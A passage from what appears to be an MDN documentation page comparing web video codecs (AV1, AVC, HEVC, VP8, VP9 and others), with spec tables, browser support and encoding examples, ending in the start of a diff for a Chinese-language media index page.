For example, level AV1 level 2.0 offers a maximum frame width of 2048 pixels and a maximum height of 1152 pixels, but its maximum frame size in pixels is 147,456, so you can't actually have a 2048x1152 video at level 2.0. It's worth noting, however, that at least for Firefox and Chrome, the levels are actually ignored at this time when performing software decoding, and the decoder just does the best it can to play the video given the settings provided. For compatibility's sake going forward, however, you should stay within the limits of the level you choose.

- -

The primary drawback to AV1 at this time is that it is very new, and support is still in the process of being integrated into most browsers. Additionally, encoders and decoders are still being optimized for performance, and hardware encoders and decoders are still mostly in development rather than production. For this reason, encoding a video into AV1 format takes a very long time, since all the work is done in software.

- -

For the time being, because of these factors, AV1 is not yet ready to be your first choice of video codec, but you should watch for it to be ready to use in the future.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit ratesVaries depending on the video's level; theoretical maximum reaches 800 Mbps at level 6.3[2]
Supported frame ratesVaries by level; for example, level 2.0 has a maximum of 30 FPS while level 6.3 can reach 120 FPS
CompressionLossy DCT-based algorithm
Supported frame sizes8 x 8 pixels to 65,535 x 65535 pixels with each dimension allowed to take any value between these
Supported color modes - - - - - - - - - - - - - - - - - - - - - - - - - -
ProfileColor depthsChroma subsampling
Main8 or 104:0:0 (greyscale) or 4:2:0
High8 or 104:0:0 (greyscale), 4:2:0, or 4:4:4
Professional8, 10, or 124:0:0 (greyscale), 4:2:0, 4:2:2, or 4:4:4
-
HDR supportYes
Variable Frame Rate (VFR) supportYes
Browser compatibility - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
AV1 support707567No57No
-
Container supportISOBMFF[1], MPEG-TS, MP4, WebM
{{Glossary("RTP")}} / WebRTC compatibleYes
Supporting/Maintaining organizationAlliance for Open Media
Specificationhttps://aomediacodec.github.io/av1-spec/av1-spec.pdf
LicensingRoyalty-free, open standard
- -

[1] {{interwiki("wikipedia", "ISO Base Media File Format")}}

- -

[2] See the AV1 specification's tables of levels, which describe the maximum resolutions and rates at each level.

- -

AVC (H.264)

- -

The MPEG-4 specification suite's Advanced Video Coding (AVC) standard is specified by the identical ITU H.264 specification and the MPEG-4 Part 10 specification. It's a motion compensation based codec that is widely used today for all sorts of media, including broadcast television, {{Glossary("RTP")}} videoconferencing, and as the video codec for Blu-Ray discs.

- -

AVC is highly flexible, with a number of profiles with varying capabilities; for example, the Constrained Baseline Profile is designed for use in videoconferencing and mobile scenarios, using less bandwidth than the Main Profile (which is used for standard definition digital TV in some regions) or the High Profile (used for Blu-Ray Disc video). Most of the profiles use 8-bit color components and 4:2:0 chroma subsampling; The High 10 Profile adds support for 10-bit color, and advanced forms of High 10 add 4:2:2 and 4:4:4 chroma subsampling.

- -

AVC also has special features such as support for multiple views of the same scene (Multiview Video Coding), which allows, among other things, the production of stereoscopic video.

- -

AVC is a proprietary format, however, and numerous patents are owned by multiple parties regarding its technologies. Commercial use of AVC media requires a license, though the MPEG LA patent pool does not require license fees for streaming internet video in AVC format as long as the video is free for end users.

- -

Non-web browser implementations of WebRTC (any implementation which doesn't include the JavaScript APIs) are required to support AVC as a codec in WebRTC calls. While web browsers are not required to do so, some do.

- -

In HTML content for web browsers, AVC is broadly compatible and many platforms support hardware encoding and decoding of AVC media. However, be aware of its licensing requirements before choosing to use AVC in your project!

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit ratesVaries by level
Supported frame ratesVaries by level; up to 300 FPS is possible
CompressionLossy DCT-based algorithm, though it's possible to create lossless macroblocks within the image
Supported frame sizesUp to 8,192 x 4,320 pixels
Supported color modes -

Some of the more common or interesting profiles:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ProfileColor depthsChroma subsampling
Constrained Baseline (CBP)84:2:0
Baseline (BP)84:2:0
Extended (XP)84:2:0
Main (MP)84:2:0
High (HiP)84:0:0 (greyscale) and 4:2:0
Progressive High (ProHiP)84:0:0 (greyscale) and 4:2:0
High 10 (Hi10P)8 to 104:0:0 (greyscale) and 4:2:0
High 4:2:2 (Hi422P)8 to 104:0:0 (greyscale), 4:2:0, and 4:2:2
High 4:4:4 Predictive8 to 144:0:0 (greyscale), 4:2:0, 4:2:2, and 4:4:4
-
HDR supportYes; {{interwiki("wikipedia", "Hybrid Log-Gamma")}} or Advanced HDR/SL-HDR; both are part of ATSC
Variable Frame Rate (VFR) supportYes
Browser compatibility - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
AVC/H.265 support41235[1]9253.2
-
Container support3GP, MP4, WebM
{{Glossary("RTP")}} / WebRTC compatibleYes
Supporting/Maintaining organizationMPEG / ITU
Specificationhttps://mpeg.chiariglione.org/standards/mpeg-4/advanced-video-coding
- https://www.itu.int/rec/T-REC-H.264
LicensingProprietary with numerous patents. Commercial use requires a license. Note that multiple patent pools may apply.
- -

[1] Firefox support for AVC is dependent upon the operating system's built-in or preinstalled codecs for AVC and its container in order to avoid patent concerns.

- -

H.263

- -

ITU's H.263 codec was designed primarily for use in low-bandwidth situations. In particular, its focus is for video conferencing on PSTN (Public Switched Telephone Networks), {{Glossary("RTSP")}}, and SIP (IP-based videoconferencing) systems. Despite being optimized for low-bandwidth networks, it is fairly CPU intensive and may not perform adequately on lower-end computers. The data format is similar to that of MPEG-4 Part 2.

- -

H.263 has never been widely used on the web. Variations on H.263 have been used as the basis for other proprietary formats, such as Flash video or the Sorenson codec. However, no major browser has ever included H.263 support by default. Certain media plugins have enabled support for H.263 media.

- -

Unlike most codecs, H.263 defines fundamentals of an encoded video in terms of the maximum bit rate per frame (picture), or BPPmaxKb. During encoding, a value is selected for BPPmaxKb, and then the video cannot exceed this value for each frame. The final bit rate will depend on this, the frame rate, the compression, and the chosen resolution and block format.

- -

H.263 has been superseded by H.264 and is therefore considered a legacy media format which you generally should avoid using if you can. The only real reason to use H.263 in new projects is if you require support on very old devices on which H.263 is your best choice.

- -

H.263 is a proprietary format, with patents held by a number of organizations and companies, including Telenor, Fujitsu, Motorola, Samsung, Hitachi, Polycom, Qualcomm, and so on. To use H.263, you are legally obligated to obtain the appropriate licenses.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit ratesUnrestricted, but typically below 64 Kbps
Supported frame ratesAny
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 1408 x 1152 pixels[2]
Supported color modesYCbCr; each picture format (sub-QCIF, QCIF, CIF, 4CIF, or 16CIF)  defines the frame size in pixels as well as how many rows each of luminance and chrominance samples are used for each frame
HDR supportNo
Variable Frame Rate (VFR) supportNo
Browser compatibility - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
H.263 supportNoNoNo[1]NoNoNo
-
Container support3GP, MP4, QuickTime
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationITU
Specificationhttps://www.itu.int/rec/T-REC-H.263/
LicensingProprietary; appropriate license or licenses are required. Note that multiple patent pools may apply.
- -

[1] While Firefox does not generally support H.263, the OpenMax platform implementation (used for the Boot to Gecko project upon which Firefox OS was based) did support H.263 in 3GP files.

- -

[2] Version 1 of H.263 specifies a set of picture sizes which are supported. Later versions may support additional resolutions.

- -

HEVC (H.265)

- -

The High Efficiency Video Coding (HVEC) codec is defined by ITU's H.265 as well as by MPEG-H Part 2 (the still in-development follow-up to MPEG-4). HEVC was designed to support efficient encoding and decoding of video in sizes including very high resolutions (including 8K video), with a structure specifically designed to let software take advantage of modern processors. Theoretically, HEVC can achieve compressed file sizes half that of {{anch("AVC")}} but with comparable image quality.

- -

For example, each coding tree unit (CTU)—similar to the macroblock used in previous codecs—consists of a tree of luma values for each sample as well as a tree of chroma values for each chroma sample used in the same coding tree unit, as well as any required syntax elements. This structure supports easy processing by multiple cores.

- -

An interesting feature of HEVC is that the main profile supports only 8 bit per component color with 4:2:0 chroma subsampling. Also interesting is that 4:4:4 video is handled specially. Instead of having the luma samples (representing the image's pixels in grayscale) and the Cb and Cr samples (indicating how to alter the grays to create color pixels), the three channels are instead treated as three monochrome images, one for each color, which are then combined during rendering to produce a full-color image.

- -

HEVC is a proprietary format and is covered by a number of patents.  Licensing is managed by MPEG LA; fees are charged to developers rather than to content producers and distributors. Be sure to review the latest license terms and requirements before making a decision on whether or not to use HEVC in your app or web site!

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit ratesUp to 800,000 Kbps
Supported frame ratesVaries by level; up to 300 FPS is possible
CompressionLossy DCT-based algorithm
Supported frame sizes128 x 96 to 8,192 x 4,320 pixels; varies by profile and level
Supported color modes -

Information below is provided for the major profiles. There are a number of other profiles available that are not included here.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ProfileColor depthsChroma subsampling
Main84:2:0
Main 108 to 104:2:0
Main 128 to 124:0:0 and 4:2:0
Main 4:2:2 108 to 104:0:0, 4:2:0, and 4:2:2
Main 4:2:2 128 to 124:0:0, 4:2:0, and 4:2:2
Main 4:4:484:0:0, 4:2:0, 4:2:2, and 4:4:4
Main 4:4:4 108 to 104:0:0, 4:2:0, 4:2:2, and 4:4:4
Main 4:4:4 128 to 124:0:0, 4:2:0, 4:2:2, and 4:4:4
Main 4:4:4 16 Intra8 to 164:0:0, 4:2:0, 4:2:2, and 4:4:4
-
HDR supportYes
Variable Frame Rate (VFR) supportYes
Browser compatibility - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
HEVC / H.265 supportNo18[1]No[2]11[1]No11
-
Container supportMP4
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationITU / MPEG
Specificationshttp://www.itu.int/rec/T-REC-H.265
- https://www.iso.org/standard/69668.html
LicensingProprietary; confirm your compliance with the licensing requirements. Note that multiple patent pools may apply.
- -

[1] Internet Explorer and Edge only supports HEVC on devices with a hardware codec.

- -

[2] Mozilla will not support HEVC while it is encumbered by patents.

- -

MP4V-ES

- -

The MPEG-4 Video Elemental Stream (MP4V-ES) format is part of the MPEG-4 Part 2 Visual standard. While in general, MPEG-4 part 2 video is not used by anyone because of its lack of compelling value related to other codecs, MP4V-ES does have some usage on mobile. MP4V is essentially H.263 encoding in an MPEG-4 container.

- -

Its primary purpose is to be used to stream MPEG-4 audio and video over an {{Glossary("RTP")}} session. However, MP4V-ES is also used to transmit MPEG-4 audio and video over a mobile connection using 3GP.

- -

You almost certainly don't want to use this format, since it isn't supported in a meaningful way by any major browsers, and is quite obsolete. Files of this type should have the extension .mp4v, but sometimes are inaccurately labeled .mp4.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit rates5 Kbps to 1 Gbps and more
Supported frame ratesNo specific limit; restricted only by the data rate
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 4,096 x 4,096 pixels
Supported color modesYCrCb with chroma subsampling (4:2:0, 4:2:2, and 4:4:4) supported; up to 12 bits per component
HDR supportNo
Variable Frame Rate (VFR) supportYes
Browser compatibility - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
MP4V-ES supportNo[2]NoYes[1]NoNoNo
-
Container support3GP, MP4
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationMPEG
Specification{{RFC(6416)}}
LicensingProprietary; obtain a license through MPEG LA and/or AT&T as needed
- -

[1] Firefox supports MP4V-ES in 3GP containers only.

- -

[2] Chrome does not support MP4V-ES; however, Chrome OS does.

- -

MPEG-1 Part 2 Video

- -

MPEG-1 Part 2 Video was unveiled at the beginning of the 1990s. Unlike the later MPEG video standards, MPEG-1 was created solely by MPEG, without the {{Glossary("ITU", "ITU's")}} involvement.

- -

Because any MPEG-2 decoder can also play MPEG-1 video, it's compatible with a wide variety of software and hardware devices. There are no active patents remaining in relation to MPEG-1 video, so it may be used free of any licensing concerns. However, few web browsers support MPEG-1 video without the support of a plugin, and with plugin use deprecated in web browsers, these are generally no longer available. This makes MPEG-1 a poor choice for use in web sites and web applications.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit ratesUp to 1.5 Mbps
Supported frame rates23.976 FPS, 24 FPS, 25 FPS, 29.97 FPS, 30 FPS, 50 FPS, 59.94 FPS, and 60 FPS
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 4,095 x 4,095 pixels
Supported color modesY'CbCr with 4:2:0 chroma subsampling with up to 12 bits per component
HDR supportNo
Variable Frame Rate (VFR) supportNo
Browser compatibility - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
MPEG-1 supportNoNoNoNoNoYes
-
Container supportMPEG
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationMPEG
Specificationhttps://www.iso.org/standard/22411.html
LicensingProprietary; however, all patents have expired, so MPEG-1 may be used freely
- -

MPEG-2 Part 2 Video

- -

MPEG-2 Part 2 is the video format defined by the MPEG-2 specification, and is also occasionally referred to by its {{Glossary("ITU")}} designation, H.262. It is very similar to MPEG-1 video—in fact, any MPEG-2 player can automatically handle MPEG-1 without any special work—except it has been expanded to support higher bit rates and enhanced encoding techniques.

- -

The goal was to allow MPEG-2 to compress standard definition television, so interlaced video is also supported. The standard definition compression rate and the quality of the resulting video met needs well enough that MPEG-2 is the primary video codec used for DVD video media.

- -

MPEG-2 has several profiles available with different capabilities. Each profile is then available four levels, each of which increases attributes of the video, such as frame rate, resolution, bit rate, and so forth. Most profiles use Y'CbCr with 4:2:0 chroma subsampling, but more advanced profiles support 4:2:2 as well. In addition, there are four levels, each of which offers  support for larger frame dimensions and bit rates. For example, the {{interwiki("wikipedia", "ATSC standards", "ATSC")}} specification for television used in North America supports MPEG-2 video in high definition using the Main Profile at High Level, allowing 4:2:0 video at both 1920 x 1080 (30 FPS) and 1280 x 720 (60 FPS), at a maximum bit rate of 80 Mbps.

- -

However, few web browsers support MPEG-2 without the support of a plugin, and with plugin use deprecated in web browsers, these are generally no longer available. This makes MPEG-2 a poor choice for use in web sites and web applications.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit ratesUp to 100 Mbps; varies by level and profile
Supported frame rates - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Abbr.Level nameFrame rates supported
LLLow Level23.9, 24, 25, 29.97, 30
MLMain Level23.976, 24, 25, 29.97, 30
H-14High 144023.976, 24, 26, 29.97, 30, 50, 59.94, 60
HLHigh Level23.976, 24, 26, 29.97, 30, 50, 59.94, 60
-
CompressionLossy DCT-based algorithm
Supported frame sizes - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Abbr.Level nameMaximum frame size
LLLow Level352 x 288 pixels
MLMain Level720 x 576 pixels
H-14High 14401440 x 1152 pixels
HLHigh Level1920 x 1152 pixels
-
Supported color modesY'CbCr with 4:2:0 chroma subsampling in most profiles; the "High" and "4:2:2" profiles support 4:2:2 chroma subsampling as well.
HDR supportNo
Variable Frame Rate (VFR) supportNo
Browser compatibility - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
MPEG-2 supportNoNoNoNoNoYes
-
Container supportMPEG, MPEG-TS (MPEG Transport Stream), MP4, QuickTime
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationMPEG / ITU
Specificationhttps://www.itu.int/rec/T-REC-H.262
- https://www.iso.org/standard/61152.html
LicensingProprietary; all patents have expired worldwide with the exception of in Malaysia and the Philippines as of April 1, 2019, so MPEG-2 can be used freely outside those two countries. Patents are licensed by MPEG LA.
- -

Theora

- -

{{interwiki("wikipedia", "Theora")}}, developed by Xiph.org, is an open and free video codec which may be used without royalties  or licensing. Theora is comparable in quality and compression rates to MPEG-4 Part 2 Visual and AVC, making it a very good if not top-of-the-line choice for video encoding. But its status as being free from any licensing concerns and its relatively low CPU resource requirements make it a popular choice for many software and web projects. The low CPU impact is particularly useful since there are no hardware decoders available for Theora.

- -

Theora was originally based upon the VC3 codec by On2 Technologies. The codec and its specification were released under the LGPL license and entrusted to Xiph.org, which then developed it into the Theora standard.

- -

One drawback to Theora is that it only supports 8 bits per color component, with no option to use 10 or more in order to avoid color banding. That said, 8 bits per component is still the most commonly-used color format in use today, so this is only a minor inconvenience in most cases. Also, Theora can only be used in an Ogg container. The biggest drawback of all, however, is that it is not supported by Safari, leaving Theora unavailable not only on macOS but on all those millions and millions of iPhones and iPads.

- -

The Theora Cookbook offers additional details about Theora as well as the Ogg container format it is used within.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit ratesUp to 2 Gbps
Supported frame ratesArbitrary; any non-zero value is supported. The frame rate is specified as a 32-bit numerator and a 32-bit denominator, to allow for non-integer frame rates.
CompressionLossy DCT-based algorithm
Supported frame sizesAny combination of width and height up to 1,048,560 x 1,048,560 pixels
Supported color modesY'CbCr with 4:2:0, 4:2:2, and 4:4:4 chroma subsampling at 8 bits per component
HDR supportNo
Variable Frame Rate (VFR) supportYes[1]
Browser compatibility - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
Theora support3Yes[2]3.5No10.5No
-
Container supportOgg
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationXiph.org
Specificationhttps://www.theora.org/doc/
LicensingOpen and free of royalties and any other licensing requirements
- -

[1] While Theora doesn't support Variable Frame Rate (VFR) within a single stream, multiple streams can be chained together within a single file, and each of those can have its own frame rate, thus allowing what is essentially VFR. However, this is impractical if the frame rate needs to change frequently.

- -

[2] Edge supports Theora with the optional Web Media Extensions add-on.

- -

VP8

- -

The Video Processor 8 (VP8) codec was initially created by On2 Technologies. Following their purchase of On2, Google released VP8 as an open and royalty-free video format under a promise not to enforce the relevant patents. In terms of quality and compression rate, VP8 is comparable to {{anch("AVC")}}.

- -

If supported by the browser, VP8 allows video with an alpha channel, allowing the video to play with the background able to be seen through the video to a degree specified by each pixel's alpha component.

- -

There is good browser support for VP8 in HTML content, especially within WebM files. This makes VP8 a good candidate for your content, although VP9 is an even better choice if available to you. Web browsers are required to support VP8 for WebRTC, but not all browsers that do so also support it in HTML audio and video elements.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit ratesArbitrary; no maximum unless level-based limitations are enforced
Supported frame ratesArbitrary
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 16,384 x 16,384 pixels
Supported color modesY'CbCr with 4:2:0 chroma subsampling at 8 bits per component
HDR supportNo
Variable Frame Rate (VFR) supportYes
Browser compatibility - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
VP8 support2514[1]491612.1[2]
MSE compatibilityYes3
-
Container support3GP, Ogg, WebM
{{Glossary("RTP")}} / WebRTC compatibleYes; VP8 is one of the spec-required codecs for WebRTC
Supporting/Maintaining organizationGoogle
Specification{{RFC(6386)}}
LicensingOpen and free of royalties and any other licensing requirements
- -

[1] Edge support for VP8 requires the use of Media Source Extensions.

- -

[2] Safari only supports VP8 in WebRTC connections.

- -

[3] Firefox only supports VP8 in MSE when no H.264 hardware decoder is available. Use {{domxref("MediaSource.isTypeSupported()")}} to check for availability.

- -

VP9

- -

Video Processor 9 (VP9) is the successor to the older VP8 standard developed by Google. Like VP8, VP9 is entirely open and royalty-free. Its encoding and decoding performance is comparable to or slightly faster than that of AVC, but with better quality. VP9's encoded video quality is comparable to that of HEVC at similar bit rates.

- -

VP9's main profile supports only 8-bit color depth at 4:2:0 chroma subsampling levels, but its profiles include support for deeper color and the full range of chroma subsampling modes. It supports several HDR imiplementations, and offers substantial freedom in selecting frame rates, aspect ratios, and frame sizes.

- -

VP9 is widely supported by browsers, and hardware implementations of the codec are fairly common. VP9 is one of the two video codecs mandated by WebM (the other being {{anch("VP8")}}). Of note, however, is that Safari supports neither WebM nor VP9, so if you choose to use VP9, be sure to offer a fallback format such as AVC or HEVC for iPhone, iPad, and Mac users.

- -

Aside from the lack of Safari support, VP9 is a good choice if you are able to use a WebM container and are able to provide a fallback video in a format such as AVC or HEVC for Safari users. This is especially true if you wish to use an open codec rather than a proprietary one. If you can't provide a fallback and aren't willing to sacrifice Safari compatibility, VP9 in WebM is a good option. Otherwise, you should probably consider a different codec.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit ratesArbitrary; no maximum unless level-based limitations are enforced
Supported frame ratesArbitrary
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 65,536 x 65,536 pixels
Supported color modes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ProfileColor depthsChroma subsampling
Profile 084:2:0
Profile 184:2:0, 4:2:2, and 4:4:4
Profile 210 to 124:2:0
Profile 310 to 124:2:0, 4:2:2, and f:4:4
- -

Color spaces supported: {{interwiki("wikipedia", "Rec. 601")}}, {{interwiki("wikipedia", "Rec. 709")}}, {{interwiki("wikipedia", "Rec. 2020")}}, {{interwiki("wikipedia", "SMPTE C")}}, SMPTE-240M (obsolete; replaced by Rec. 709), and {{interwiki("wikipedia", "sRGB")}}.

-
HDR supportYes; HDR10+, HLG, and PQ
Variable Frame Rate (VFR) supportYes
Browser compatibility - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
VP9 support291428No10.6No
MSE compatibilityYes1
-
Container supportMP4, Ogg, WebM
{{Glossary("RTP")}} / WebRTC compatibleYes
Supporting/Maintaining organizationGoogle
Specificationhttps://www.webmproject.org/vp9/
LicensingOpen and free of royalties and any other licensing requirements
- -

[1] Firefox only supports VP8 in MSE when no H.264 hardware decoder is available. Use {{domxref("MediaSource.isTypeSupported()")}} to check for availability.

- -

Choosing a video codec

- -

The decision as to which codec or codecs to use begins with a series of questions to prepare yourself:

- -
    -
  • Do you wish to use an open format, or are proprietary formats also to be considered?
  • -
  • Do you have the resources to produce more than one format for each of your videos? The ability to provide a fallback option vastly simplifies the decision-making process.
  • -
  • Are there any browsers you're willing to sacrifice compatibility with?
  • -
  • How old is the oldest version of web browser you need to support? For example, do you need to work on every browser shipped in the past five yeras, or just the past one year?
  • -
- -

In the sections below, we offer recommended codec selections for specific use cases. For each use case, you'll find up to two reccommendations. If the codec which is considered best for the use case is proprietary or may require royalty payments, then two options are provided: first, an open and royalty-free option, followed by the proprietary one.

- -

If you are only able to offer a single version of each video, you can choose the format that's most appropriate for your needs.The first one is recommended as being a good combnination of quality, performance, and compatibility. The second option will be the most broadly compatible choice, at the expense of some amount of quality, preformance, and/or size.

- -

Recommendations for everyday videos

- -

First, let's look at the best options for videos presented on a typical web site such as a blog, informational site, small business web site where videos are used to demonstrate products (but not where the videos themselves are a product), and so forth.

- -
    -
  1. -

    A WebM container using the {{anch("VP8")}} codec for video and the Opus codec for audio. These are all open, royalty-free formats which are generally well-supported, although only in quite recent browsers, which is why a fallback is a good idea.

    - -
    <video controls src="filename.webm"></video>
    -
    -
  2. -
  3. -

    An MP4 container and the {{anch("AVC")}} (H.264) video codec, ideally with AAC as your audio codec. This is because the MP4 container with AVC and AAC codecs within is a broadly-supported combination—by every major browser, in fact—and the quality is typically good for most use cases. Make sure you verify your compliance with the license requirements, however.

    - -
    <video controls>
    -  <source type="video/webm"
    -          src="filename.webm">
    -  <source type="video/mp4"
    -          src="filename.mp4">
    -</video>
    -
    -
  4. -
- -
-

Note: Keep in mind that the {{HTMLElement("<video>")}} element requires a closing </video> tag, whether or not you have any {{HTMLElement("source")}} elements inside it.

-
- -

Recommendations for high-quality video presentation

- -

If your mission is to present video at the highest possible quality, you will probably benefit from offering as many formats as possible, as the codecs capable of the best quality tend also to be the newest, and thus the most likely to have gaps in browser compatibility.

- -
    -
  1. -

    A WebM container using AV1 for video and Opus for audio. If you're able to use the High or Professional profile when encoding AV1, at a high level like 6.3, you can get very high bit rates at 4K or 8K resolution, while maintaining excellent video quality. Encoding your audio using Opus's Fullband profile at a 48 kHz sample rate maximizes the audio bandwidth captured, capturing nearly the entire frequency range that's within human hearing.

    - -
    <video controls src="filename.webm"></video>
    -
    -
  2. -
  3. -

    An MP4 container using the {{anch("HEVC")}} codec using one of the advanced Main profiles, such as Main 4:2:2 with 10 or 12 bits of color depth, or even the Main 4:4:4 profile at up to 16 bits per component. At a high bit rate, this provides excellent graphics quality with remarkable color reproduction.  In addition, you can optionally include HDR metadata to provide high dynamic range video. For audio, use the AAC codec at a high sample rate (at least 48 kHz but ideally 96kHz) and encoded with complex encoding rather than fast encoding.

    - -
    <video controls>
    -  <source type="video/webm"
    -          src="filename.webm">
    -  <source type="video/mp4"
    -          src="filename.mp4">
    -</video>
    -
    -
  4. -
- -

Recommendations for archival, editing, or remixing

- -

There are not currently any lossless—or even near-lossless—video codecs generally available in web browsers. The reason for this is simple: video is huge. Lossless compression is by definition less effective than lossy compression. For example, uncompressed 1080p video (1920 by 1080 pixels) with 4:2:0 chroma subsampling needs at least 1.5 Gbps. Using lossless compression such as FFV1 (which is not supported by web browsers) could perhaps reduce that to somewhere around 600 Mbps, depending on the content. That's still a huge number of bits to pump through a connection every second, and is not currently practical for any real-world use.

- -

This is the case even though some of the lossy codecs have a lossless mode available; the lossless modes are not implemented in any current web browsers. The best you can do is to select a high-quality codec that uses lossy compression and configure it to perform as little compression as possible. One way to do this is to configure the codec to use "fast" compression, which inherently means less compression is achieved.

- -

Preparing video externally

- -

To prepare video for archival purposes from outside your web site or app, use a utility that performs compression on the original uncompressed video data. For example, the free x264 utility can be used to encode video in {{anch("AVC")}} format using a very high bit rate:

- -
x264 --crf 18 -preset ultrafast --output outfilename.mp4 infile
- -

While other codecs may have better best-case quality levels when compressing the video by a significant margin, their encoders tend to be slow enough that the nearly-lossless encoding you get with this compression is vastly faster at about the same overall quality level.

- -

Recording video

- -

Given the constraints on how close to lossless you can get, you might consider using {{anch("AVC")}} or {{anch("AV1")}}. For example, if you're using the MediaStream Recording API to record video, you might use code like the following when creating your {{domxref("MediaRecorder")}} object:

- -
const kbps = 1024;
-const Mbps = kbps*kbps;
-
-const options = {
-  mimeType: 'video/webm; codecs="av01.2.19H.12.0.000.09.16.09.1, flac"',
-  bitsPerSecond: 800*Mbps,
-};
-
-let recorder = new MediaRecorder(sourceStream, options);
- -

This example creates a MediaRecorder configured to record {{anch("AV1")}} video using BT.2100 HDR in 12-bit color with 4:4:4 chroma subsampling and FLAC for lossless audio. The resulting file will use a bit rate of no more than 800 Mbps shared between the video and audio tracks. You will likely need to adjust these values depending on hardware performance, your requirements, and the specific codecs you choose to use. This bit rate is obviously not realistic for network transmission and would likely only be used locally.

- -

Breaking down the value of the codecs parameter into its dot-delineated properties, we see the following:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ValueDesccription
av01The four-character code (4CC) designation identifying the {{anch("AV1")}} codec.
2The profile. A value of 2 indicates the Professional profile. A value of 1 is the High profile, while a value of 0 would specify the Main profile.
19HThe level and tier. This value comes from the table in section A.3 of the AV1 specification, and indicates the high tier of Level 6.3.
12The color depth. This indicates 12 bits per component. Other possible values are 8 and 10, but 12 is the highest-accuracy color representation available in AV1.
0The monochrome mode flag. If 1, then no chroma planes would be recorded, and all data should be structly luma data, resulting in a greyscale image. We've specified 0 because we want color.
000The chroma subsampling mode, taken from section 6.4.2 in the AV1 specification. A value of 000, combined with the monochrome mode value 0, indicates that we want 4:4:4 chroma subsampling, or no loss of color data.
09The color primaries to use. This value comes from section 6.4.2 in the AV1 specification; 9 indicates that we want to use BT.2020 color, which is used for HDR.
16The transfer characteristics to use. This comes from section 6.4.2 as well; 16 indicates that we want to use the characteristics for BT.2100 PQ color.
09The matrix coefficents to use, from the section 6.4.2 again. A value of 9 specifies that we want to use BT.2020 with variable luminance; this is also known as BT.2010 YbCbCr.
1The video "full range" flag. A value of 1 indicates that we want the full color range to be used.
- -

The documentation for your codec choices will probably offer information you'll use when constructing your codecs parameter.

- -

See also

- - diff --git a/files/zh-cn/web/media/index.html b/files/zh-cn/web/media/index.html new file mode 100644 index 0000000000..5a66bbe303 --- /dev/null +++ b/files/zh-cn/web/media/index.html @@ -0,0 +1,76 @@ +--- +title: Web 媒体技术 +slug: Web/媒体 +tags: + - 视频 + - 音频 +translation_of: Web/Media +--- +
+ +

逐年来,Web 呈现、创建并管理音频、视频和其他媒体的能力以不断增长的步伐发展。今日有着大量的 API、HTML 元素、DOM 界面和其他不仅仅限于完成这些任务,而是为了将媒体和其他技术联合使用以实现非凡事物的特性可供使用。这篇文章列出了可能对您掌握这些技术有帮助的多种 API 与其文档链接。

+ +
+
+

参考文献

+ +

HTML

+ +

这些文章含括了供媒体开发者使用的 HTML 特性。

+ +
+
{{HTMLElement("audio")}}
+
<audio> 元素用于在 Web 上下文中播放音频。这可以用于复杂媒体的隐性目标,亦或是用户控制播放音频的可见控制。可以从 JavaScript {{domxref("HTMLAudioElement")}} 对象中访问。
+
{{HTMLElement("video")}}
+
